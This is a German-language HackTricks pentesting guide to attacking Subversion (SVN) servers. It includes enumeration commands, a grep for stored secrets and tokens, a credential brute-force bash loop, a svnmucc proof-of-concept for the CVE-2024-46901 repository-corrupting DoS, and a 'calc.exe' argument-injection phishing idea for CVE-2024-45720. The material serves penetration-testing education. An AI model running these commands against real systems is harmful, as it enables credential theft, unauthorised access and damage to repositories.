3690/tcp - Pentesting Subversion (SVN) Server

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Subversion (SVN) ist ein zentralisiertes Versionskontrollsystem (Apache-Lizenz), das für Software-Versionsverwaltung und Revisionskontrolle verwendet wird.

Standardport: 3690/tcp (svnserve). Es kann auch über HTTP/HTTPS durch mod_dav_svn und über svn+ssh bereitgestellt werden.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeration

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting

  • svnserve.conf kann anon-access = read (oder sogar write) erlauben. Wenn du auflisten kannst, versuche checkout, um Geheimnisse, Skripte und CI-Token auszulesen.
  • Repositories speichern häufig Build-Pipelines, Deployment-Keys und Datenbank-Zugangsdaten in versionierten Konfigurationsdateien. Durchsuche die Working Copy nach dem Checkout: grep -R "password\|secret\|token" -n ..
  • Wenn svn+ssh aktiviert ist, erlauben Benutzer-Shells oft eingeschränkte svnserve-Befehle; versuche ssh user@host svnserve -t mit speziell gestalteten Subcommands, um Wrapper zu umgehen.

Bruteforcing credentials (svnserve)

sasl-Authentifizierung (falls aktiviert) und einfache Passwortdateien sind nur durch den Transport geschützt; standardmäßig gibt es keine Sperrung. Eine kurze Bash-Schleife kann Anmeldeinformationen ausprobieren:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Aktuelle Schwachstellen (praktische Auswirkungen)

mod_dav_svn DoS durch Steuerzeichen (CVE-2024-46901)

  • Ein Benutzer mit Commit-Rechten kann einen Pfad schreiben, der Steuerzeichen enthält (z. B. \x01, \x7f), und dadurch das Repository beschädigen, sodass spätere checkouts/logs fehlschlagen und möglicherweise mod_dav_svn-Worker abstürzen.
  • Betroffen ist Subversion ≤ 1.14.4, wenn sie über HTTP(S) (mod_dav_svn) bereitgestellt wird. Behoben in 1.14.5.
  • PoC-Commit mit svnmucc (erfordert gültige commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Nach dem Commit können normale Clients abstürzen oder Updates verweigern, bis Admins die Revision manuell mit svnadmin dump/filter/load entfernen.

Windows argument injection in svn client (CVE-2024-45720)

  • Unter Windows erlaubt die “best-fit”-Zeichencodierung in svn.exe command-line argument injection, wenn speziell gestaltete nicht‑ASCII-Pfade/URLs verarbeitet werden, was potenziell zur Ausführung beliebiger Programme führen kann.
  • Betrifft Subversion ≤ 1.14.3 nur unter Windows; behoben in 1.14.4. Angriffsfläche: phishing eines Entwicklers, ihn dazu zu bringen, svn auf einer vom Angreifer kontrollierten URL/Path auszuführen.
  • Pentest angle: wenn du ein Netzlaufwerk oder eine ZIP-Datei kontrollierst, die einem Windows-Entwickler gegeben wird, benenne eine Repo-URL oder einen working-copy-Pfad so, dass er best-fit-Bytes enthält, die in " & calc.exe & "-artige injizierte Argumente dekodieren, und bring das Opfer dazu, svn status oder ähnliches auf diesem Pfad auszuführen.

Hinweise zum Exploitation-Workflow

  1. Zugriffsart prüfen: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), oder svn+ssh://.
  2. Zuerst anonymen Lesezugriff versuchen; dann gängige Anmeldedaten austesten. Falls HTTP Basic verwendet wird, wiederverwende Anmeldedaten, die anderswo gefunden wurden.
  3. Hooks enumerieren: hooks/pre-commit, post-commit-Skripte enthalten manchmal Klartext-Anmeldedaten oder Hostnamen.
  4. svn:externals nutzen, um zusätzliche Pfade von anderen Hosts zu ziehen; liste sie mit svn propget svn:externals -R . nach dem Checkout auf.
  5. Version leaks: HTTP-Antwort-Header von mod_dav_svn zeigen normalerweise die Subversion- und Apache-Version; vergleiche mit 1.14.5, um verwundbare Ziele zu identifizieren.
  6. Wenn du Dateisystemzugriff auf das Repo erhältst, erlauben svnadmin dump/svnlook author/svnlook dirs-changed eine Offline-Analyse ohne Anmeldedaten.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks